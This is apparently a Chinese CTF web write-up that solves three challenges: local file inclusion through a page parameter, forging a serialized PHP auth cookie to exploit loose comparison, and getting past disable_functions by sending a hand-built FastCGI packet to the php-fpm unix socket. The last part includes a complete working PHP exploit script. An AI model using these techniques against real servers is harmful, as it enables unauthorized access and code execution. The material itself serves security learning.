[关闭]
@shaobaobaoer 2018-07-17T03:52:17.000000Z 字数 3070 阅读 2211

CTF WEB


Hate

May the Troll be with you

这道题做下来还是比较简单的。

通过提示和源码,我们真正要做的是找到两把钥匙。然后就能领取到FLAG了。
TIM截图20180716095429.png-16.2kB

首先扫描敏感文件,会发现robots.txt下提示有fwhibbit.php 这个文件。
【题目的Dockerfile里面没有robots.txt。为此我加在提示里面了。】

访问就可以发现这个目录的URL有点小奇怪

  1. 120.79.191.75:2003/fwhibbit.php?page=...

很显然,后面这个page参数有点类似于iframe 。包含在这个页面中。

查看源码,题目给出了一个小提示:

  1. <header class="intro-header">
  2. <h1>loading...<h1>
  3. <span class="subheading">fwhibbit.php?page=debug.html</span>
  4. <!--Creds in /home/fwhibbit/key2.txt -->
  5. </header>

这就很简单了,把key2.txt包含进去就行。

  1. <div class="container">
  2. <div class="row">
  3. <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
  4. <h1>&nbsp;&nbsp;MAINTENANCE</p>
  5. key2 = flag0x085927
  6. </div>
  7. </div>
  8. </div>

第二段秘钥入手。
记得在首页中的提示说:

  1. * Chic Chicfy
  2. * Key? = XXXXXXXXX

也就是说,另一个Key的格式应该有点像上面这段代码

翻来翻去,其实就藏在clean-blog.css中。

  1. /*
  2. * What is this doing here?
  3. * Key1 = gimme0x038792
  4. *
  5. */

两段Key入手,输入即可得到Flag

VIP ZONE

登录页面提示 guest : guest 账户可以登录。但是登录进去并没有什么东西:
TIM截图20180716101531.png-13.9kB

但总归是有东西的,它在cookie里面:

  1. # URL_Decode ==> B64decode
  2. auth :
  3. O:4:"User":2:{s:4:"user";s:5:"guest";s:4:"pass";s:5:"guest";}
  4. check :
  5. 0ad7fd75c118e38df9e77c6b1bf5b9d2

首先这个check的东西,一定是和auth这个有关系的。丢到cmd5中解密不了,就代表着一定有着特殊字符。【直觉...】多次尝试,发现check是B64encode(auth)的MD5值。

解决了check的问题,现在来看auth。
这里推荐一个小工具,能够非常直观的查看php反序列化:https://1024tools.com/unserialize

  1. __PHP_Incomplete_Class Object
  2. (
  3. [__PHP_Incomplete_Class_Name] => User
  4. [user] => guest
  5. [pass] => guest
  6. )

如你所见,现在Cookie长这样!
首先我们是一定不知道admin的password的。但是,如果程序员写的是==而非===的话,这就是另一个故事了。

我们可以推测,最终验证的结果应该类似于这样:

  1. if (User->user==='admin' && User->pass ==="*******" ){
  2. echo "flag";
  3. }

如果利用了==话,就可以用布尔绕过
最终,我们把它改成了这样:

  1. __PHP_Incomplete_Class Object
  2. (
  3. [__PHP_Incomplete_Class_Name] => User
  4. [user] => admin
  5. [pass] => 1
  6. )
  7. // O:4:"User":2:{s:4:"user";s:5:"admin";s:4:"pass";b:1;}
  8. // Hash 6897f0060a84ecb0600e4167d2a748e4

并算出其哈希值

重新填入cookie,拿到flag。
TIM截图20180716104731.png-34kB

Impossible is nothing

这题目是看WP的,新姿势!!!

这是一个非常正常的在线Php代码执行,提示告诉我们flag在/tmp/flag.php中。

通过phpinfo()查看php的信息。可以发现很多函数都被禁用了。

disable-functions.png-9.3kB

这道题的正确做法是利用 套接字!

可能翻译的不是很正确
通过unix套接字连接到同一服务,默认情况下应该在路径/var/run/php-fpm.sock中找到。但它不是那样的。
试图出现在不同的地方,如把不同的版本变化后:PHP5-fpm.sock,使用目录:/ var / run中/ PHP /或/运行/等等......几经尝试,我记得清楚地表明我们的phpinfo它是php版本7,所以找了多一点我发现,对于的默认路径是/run/php/php7.0-fpm.sock。

总之,PHP7的UNIX套接字是在/run/php/php7.0-fpm.sock中。

我也没有咋接触过套接字。【准确的说计网还没系统学过】。就硬着头皮往下看。

我们需要和unix套接字通信,在我理解上,这就有点盗取别的进程来提权的意思。通过和unix套接字通信,可以绕开disable_funciton的防护。从最源头调用Php内核。当然与套接字通信是必然是二进制通信的。为此,作者提供了一个ruby的脚本,来生成套接字:
https://raw.githubusercontent.com/ONsec-Lab/scripts/master/fastcgipacket.rb

所需要修改的就是最后的内容::
TIM截图20180716115746.png-54.3kB

之后,我需要去看一看PHP的套接字库如何使用:
提供一篇不错的文章: http://www.manongjc.com/article/1463.html

最后,在这边写下我们的脚本,即可拿到flag。

  1. <?php
  2. $fp = fsockopen("unix:///run/php/php7.0-fpm.sock",
  3. 0,$errono,$errstr,30);
  4. var_dump($fp);
  5. $out = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x56\x06\x00\x0e\x03\x52\x45\x51\x55\x45\x53\x54\x5f\x4d\x45\x54\x48\x4f\x44\x47\x45\x54\x0f\x0d\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x0f\x14\x50\x48\x50\x5f\x41\x44\x4d\x49\x4e\x5f\x56\x41\x4c\x55\x45\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73\x3d\x22\x22\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00\x00\x00\x00";
  6. var_dump($out);
  7. fwrite($fp,$out);
  8. while(!feof($fp)){
  9. echo fgets($fp,128);
  10. }
  11. fclose($fp);
  12. ?>
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注